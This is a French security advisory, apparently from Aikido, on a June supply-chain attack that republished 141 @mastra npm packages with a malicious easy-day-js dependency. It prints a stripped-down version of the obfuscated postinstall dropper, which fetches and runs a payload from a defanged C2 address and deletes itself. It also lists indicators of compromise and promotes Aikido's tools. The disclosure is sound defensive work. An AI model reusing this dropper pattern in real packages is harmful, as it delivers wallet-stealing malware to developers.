Le 17 juin, nous avons détecté une attaque de supply chain de grande envergure ciblant l'intégralité du @mastra scope npm, un framework d'agents IA open source populaire. Un attaquant a republié 141 packages en rafale entre 01h15 et 02h00 UTC, injectant silencieusement une dépendance malveillante dans chacun d'eux. Les packages affectés incluent @mastra/core, qui compte 918 000 téléchargements npm hebdomadaires, ainsi que mastra et create-mastra.
Le script post-installation
Les 141 packages avaient tous une nouvelle dépendance unique ajoutée à leur package.json: easy-day-js, un clone malveillant de la populaire bibliothèque de dates dayjs. Le package a été publié par un compte distinct contrôlé par l'attaquant un jour avant la prise de contrôle du scope. Il est crucial de noter que la version initiale (1.11.21) était entièrement propre, une copie conforme de dayjs sans hooks d'installation. La version malveillante (1.11.22) a suivi le lendemain, juste au moment où les @mastra packages ont été republiés. Les packages compromis dépendent de ^1.11.21, mais la résolution caret de npm tire automatiquement la version malveillante 1.11.22 comme dernière version, tandis que l'audit de la version épinglée ne révèle rien de suspect.
La version 1.11.22 ajoute un post-installation hook qui exécute setup.cjs, un script obfusqué qui s'exécute automatiquement au moment de l'installation sans aucune interaction de l'utilisateur.
// obfuscated -- stripped down to the essential logic
const payload = await (await fetch('https://23[.]254[.]164[.]92:8000/update/49890878')).text();
const file = path.join(os.tmpdir(), crypto.randomBytes(12).toString('hex') + '.js');
fs.writeFileSync(file, payload, 'utf8');
child_process.spawn(process.execPath, [file, '23[.]254[.]164[.]123:443'], {
detached: true, stdio: 'ignore', windowsHide: true
}).unref();
fs.rmSync(__filename, { force: true }); // self-deletesCe que ce script fait, étape par étape :
- Récupère une charge utile de deuxième étape depuis le serveur C2 à l'adresse
23[.]254[.]164[.]92:8000 - Écrit la charge utile dans un fichier nommé aléatoirement
.jsfichier dans le répertoire temporaire de l'OS - Exécute la charge utile comme un processus d'arrière-plan entièrement détaché, invisible sur toutes les plateformes (
stdio: ignore, windowsHide: true), en passant un deuxième hôte C223[.]254[.]164[.]123:443comme argument - S'auto-supprime pour effacer les preuves forensiques du hook postinstall
La deuxième étape s'exécute comme un processus d'arrière-plan de longue durée qui collecte des informations système et cible plus de 160 extensions de portefeuilles crypto basées sur navigateur, y compris MetaMask, Keplr, Coinbase, et d'autres. Il établit sa persistance en se déguisant en outils liés à Node.js sur macOS, Windows et Linux, tous communiquant avec 23[.]254[.]164[.]123:443.
Similitudes avec la compromission d'axios
Le mode opératoire ici est presque identique à la compromission d'axios que nous avons couverte en mars 2026. Dans les deux attaques, l'attaquant a évité de toucher le code propre du paquet cible et a plutôt injecté une dépendance malveillante, s'appuyant sur le hook de npm post-installation pour exécuter automatiquement la charge utile au moment de l'installation. Les deux ont d'abord mis en scène une version leurre propre, puis ont suivi avec la version malveillante. Dans l'attaque axios, plain-crypto-js a joué le rôle que easy-day-js joue ici. Les deux droppers s'auto-suppriment également après exécution pour effacer les preuves forensiques.
L'infrastructure suit également le même schéma. Le dropper axios a rappelé un VPS Hostwinds sur le port 8000. Le easy-day-js dropper fait de même, en ciblant 23[.]254[.]164[.]92:8000 sur l'infrastructure Hostwinds.
Comment Aikido détecte cela
Si vous êtes un utilisateur Aikido, vérifiez votre flux central et filtrez les problèmes de logiciels malveillants. Cela apparaîtra comme un problème critique 100/100. Aikido effectue des rescans nocturnes, mais nous vous recommandons de déclencher un rescan manuel dès maintenant.
Si vous n'êtes pas encore un utilisateur Aikido, vous pouvez créer un compte et connecter vos dépôts. Notre couverture des logiciels malveillants est incluse dans le plan gratuit, aucune carte de crédit requise.
Pour une couverture plus large au sein de toute votre équipe, la Device Protection d'Aikido vous offre une visibilité et un contrôle sur les packages logiciels installés sur les appareils de votre équipe. Elle couvre les extensions de navigateur, les bibliothèques de code, les plugins d'IDE et les dépendances de build, le tout en un seul endroit. Arrêtez les malwares avant qu'ils ne soient installés.
Pour une protection future, envisagez Aikido Safe Chain (open source). Safe Chain s'intègre à votre flux de travail existant, en interceptant les commandes npm, npx, yarn, pnpm et pnpx et en vérifiant les paquets par rapport à Aikido Intel avant l'installation.
Indicateurs de compromission
Indicateurs réseau
23[.]254[.]164[.]92:8000 — C2 de première étape, téléchargement de la charge utile23[.]254[.]164[.]123:443 — hôte de rappel de deuxième étape, passé au RAT généré
Paquets affectés
easy-day-js@1.11.22
create-mastra@1.13.1
mastra@1.13.1
@mastra/acp@0.2.2
@mastra/agent-browser@0.3.2
@mastra/agent-builder@1.0.42
@mastra/agentcore@0.2.2
@mastra/agentfs@0.1.1
@mastra/ai-sdk@1.4.6
@mastra/arize@1.2.3
@mastra/arthur@0.3.3
@mastra/astra@1.0.2
@mastra/auth@1.0.3
@mastra/auth-auth0@1.0.2
@mastra/auth-better-auth@1.0.4
@mastra/auth-clerk@1.0.3
@mastra/auth-cloud@1.1.4
@mastra/auth-firebase@1.0.1
@mastra/auth-okta@0.0.5
@mastra/auth-studio@1.2.4
@mastra/auth-supabase@1.0.2
@mastra/auth-workos@1.5.3
@mastra/azure@0.2.3
@mastra/blaxel@0.4.2
@mastra/braintrust@1.1.4
@mastra/brightdata@0.2.2
@mastra/browser-firecrawl@0.1.1
@mastra/browser-viewer@0.1.3
@mastra/chroma@1.0.2
@mastra/claude@1.0.3
@mastra/clickhouse@1.10.1
@mastra/client-js@1.24.1
@mastra/cloud@0.1.24
@mastra/cloudflare@1.4.2
@mastra/cloudflare-d1@1.0.7
@mastra/codemod@1.0.4
@mastra/convex@1.2.2
@mastra/core@1.42.1
@mastra/couchbase@1.0.4
@mastra/cursor@0.2.1
@mastra/dane@1.0.2
@mastra/datadog@1.2.5
@mastra/daytona@0.4.2
@mastra/deployer@1.42.1
@mastra/deployer-cloud@1.42.1
@mastra/deployer-cloudflare@1.1.44
@mastra/deployer-netlify@1.1.20
@mastra/deployer-vercel@1.1.38
@mastra/docker@0.3.1
@mastra/dsql@1.0.3
@mastra/duckdb@1.4.3
@mastra/dynamodb@1.0.9
@mastra/e2b@0.3.4
@mastra/editor@0.11.3
@mastra/elasticsearch@1.2.1
@mastra/engine@0.1.1
@mastra/evals@1.3.1
@mastra/express@1.3.31
@mastra/fastembed@1.1.3
@mastra/fastify@1.3.31
@mastra/files-sdk@0.2.1
@mastra/gcs@0.2.3
@mastra/github-signals@0.1.2
@mastra/google-cloud-pubsub@1.0.6
@mastra/google-drive@0.1.1
@mastra/hono@1.4.26
@mastra/inngest@1.5.2
@mastra/koa@1.5.14
@mastra/laminar@1.2.3
@mastra/lance@1.0.7
@mastra/langfuse@1.3.6
@mastra/langsmith@1.2.4
@mastra/libsql@1.13.1
@mastra/loggers@1.1.3
@mastra/longmemeval@1.0.50
@mastra/mcp@1.10.1
@mastra/mcp-docs-server@1.1.47
@mastra/mcp-registry-registry@1.0.2
@mastra/mem0@0.1.14
@mastra/memory@1.20.4
@mastra/modal@0.2.2
@mastra/mongodb@1.9.3
@mastra/mssql@1.3.2
@mastra/mysql@0.1.1
@mastra/nestjs@0.1.15
@mastra/node-audio@0.1.8
@mastra/node-speaker@0.1.1
@mastra/observability@1.14.2
@mastra/openai@1.0.2
@mastra/opencode@0.0.47
@mastra/opensearch@1.0.3
@mastra/otel-bridge@1.2.3
@mastra/otel-exporter@1.2.3
@mastra/perplexity@0.1.1
@mastra/pg@1.13.1
@mastra/pinecone@1.0.2
@mastra/playground-ui@33.0.1
@mastra/posthog@1.0.29
@mastra/qdrant@1.0.3
@mastra/rag@2.2.2
@mastra/railway@0.1.1
@mastra/react@1.0.1
@mastra/redis@1.1.3
@mastra/redis-streams@0.0.4
@mastra/s3@0.5.3
@mastra/s3vectors@1.0.7
@mastra/schema-compat@1.2.12
@mastra/sentry@1.1.4
@mastra/server@2.1.1
@mastra/slack@1.3.1
@mastra/spanner@1.1.2
@mastra/speech-azure@0.2.1
@mastra/speech-elevenlabs@0.2.1
@mastra/speech-google@0.2.1
@mastra/speech-ibm@0.2.1
@mastra/speech-murf@0.2.1
@mastra/speech-openai@0.2.1
@mastra/speech-replicate@0.2.1
@mastra/speech-speechify@0.2.1
@mastra/stagehand@0.2.5
@mastra/tavily@1.0.3
@mastra/temporal@0.1.14
@mastra/turbopuffer@1.0.3
@mastra/twilio@1.0.2
@mastra/upstash@1.1.3
@mastra/vectorize@1.0.3
@mastra/vercel@1.0.1
@mastra/voice-aws-nova-sonic@0.1.4
@mastra/voice-azure@0.11.2
@mastra/voice-cloudflare@0.12.3
@mastra/voice-deepgram@0.12.2
@mastra/voice-elevenlabs@0.12.2
@mastra/voice-gladia@0.12.2
@mastra/voice-google@0.12.3
@mastra/voice-google-gemini-live@0.12.2
@mastra/voice-inworld@0.3.1
@mastra/voice-modelslab@0.1.2
@mastra/voice-murf@0.12.3
@mastra/voice-openai@0.12.3
@mastra/voice-openai-realtime@0.12.6
@mastra/voice-playai@0.12.2
@mastra/voice-sarvam@1.0.2
@mastra/voice-speechify@0.12.2
@mastra/voice-xai-realtime@0.1.2

